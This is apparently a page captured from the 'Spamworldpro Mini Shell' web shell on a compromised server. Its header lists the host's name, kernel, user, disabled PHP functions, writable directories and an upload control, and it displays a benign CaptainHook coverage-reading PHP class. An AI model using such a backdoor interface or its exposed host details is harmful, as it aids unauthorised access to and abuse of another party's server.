Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/captainhook/captainhook/src/Hook/PHP/CoverageResolver/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/captainhook/captainhook/src/Hook/PHP/CoverageResolver/CloverXML.php
<?php

/**
 * This file is part of CaptainHook
 *
 * (c) Sebastian Feldmann <[email protected]>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace CaptainHook\App\Hook\PHP\CoverageResolver;

use RuntimeException;
use CaptainHook\App\Hook\PHP\CoverageResolver;
use CaptainHook\App\Storage\File\Xml;

/**
 * Class CloverXML
 *
 * @package CaptainHook
 * @author  Sebastian Feldmann <[email protected]>
 * @link    https://github.com/captainhookphp/captainhook
 * @since   Class available since Release 1.2.0
 */
class CloverXML implements CoverageResolver
{
    /**
     * Clover XML
     *
     * @var \SimpleXMLElement
     */
    private $xml;

    /**
     * CloverXML constructor.
     *
     * @param string $pathToCloverXml
     */
    public function __construct($pathToCloverXml)
    {
        $cloverFile = new Xml($pathToCloverXml);
        if (!$cloverFile->exists()) {
            throw new RuntimeException('could not find clover xml file: ' . $cloverFile->getPath());
        }
        $this->xml = $cloverFile->read();
        $this->validateXml();
    }

    /**
     * Make sure you have a valid xml structure
     *
     * @return void
     * @throws \RuntimeException
     */
    private function validateXml(): void
    {
        if (!isset($this->xml->project) || !isset($this->xml->project->metrics)) {
            throw new RuntimeException('invalid clover xml file');
        }
    }

    /**
     * Return test coverage in percent.
     *
     * @return float
     */
    public function getCoverage(): float
    {
        $statements = (string) $this->xml->project->metrics->attributes()->statements;
        $covered    = (string) $this->xml->project->metrics->attributes()->coveredstatements;

        if ($statements < 1 || !is_numeric($covered)) {
            throw new RuntimeException(
                'could not read coverage data from clover xml file ' .
                '(statements: ' . $statements . ', coveredstatements: ' . $covered . ')'
            );
        }

        return $covered / ((int)$statements * 0.01);
    }
}

Spamworldpro Mini